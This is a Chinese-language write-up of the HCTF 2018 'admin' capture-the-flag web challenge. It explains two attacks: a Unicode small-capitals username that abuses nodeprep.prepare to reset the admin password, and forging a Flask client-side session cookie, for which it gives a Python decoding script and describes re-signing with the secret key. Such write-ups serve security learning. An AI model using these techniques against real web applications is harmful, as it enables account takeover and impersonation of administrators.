[HCTF 2018]admin 1
- ps:第一眼看到这题,我的思路是通过二次注入去修改admin的密码从而获取flag的,因为确实和sqli-lab的那题太像了,但是好像做不到,网上也没有这样的做法,但是思路是和要讲的Unicode欺骗是基本一致的……
方法一:Unicode欺骗
Unicode 视觉欺骗取决于视觉上可以混淆的字符串:两个 Unicode 字符串外观上非常相似,在通常的屏幕分辨率下,它们以小尺寸的普通字体出现,很容易让人们误认为是另一个,具体文章。
这里用的是函数上的漏洞,对于ᴬᴰᴹᴵᴺ来说,nodeprep.prepare函数存在漏洞,它本意是将大写字母转化为小写字母,当出现ᴬᴰᴹᴵᴺ时,就可以把它变成大写的ADMIN,这个漏洞是思路的核心。
我们只需注册一个ᴬᴰᴹᴵᴺ这样的账号,在第一次时注册完它会nodeprep.prepare一次,账号就变成了ADMIN,登入完更改密码时会nodeprep.prepare一次,这样我们的修改的密码就变成admin的了,这样我们就成功修改了admin的密码拿到了flag,当然前提是我们拿到了这题的源码有看到这个函数漏洞,网上好像就这个题目可以这么做,记录一下就好了
方法二:session伪造
在index.php里可以发现如果session[name]=admin就打印flag,flask是轻量级web框架,session存在客户端,我们可以伪造session(cookie)。既然是伪造cookie,那么就要知道它原来的格式是怎么样的,因为原来的session是被加密的所以要对其进行解密,给出解密脚本:
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
(虽然看不懂但是大为震撼)
解密出来后将name给改成admin的,然后再次用flask-session-cookie-manager(要下)加密,加密要key值,这个key值一般在config.yml文件里,加密完用hackbar输入回去就好了
具体做法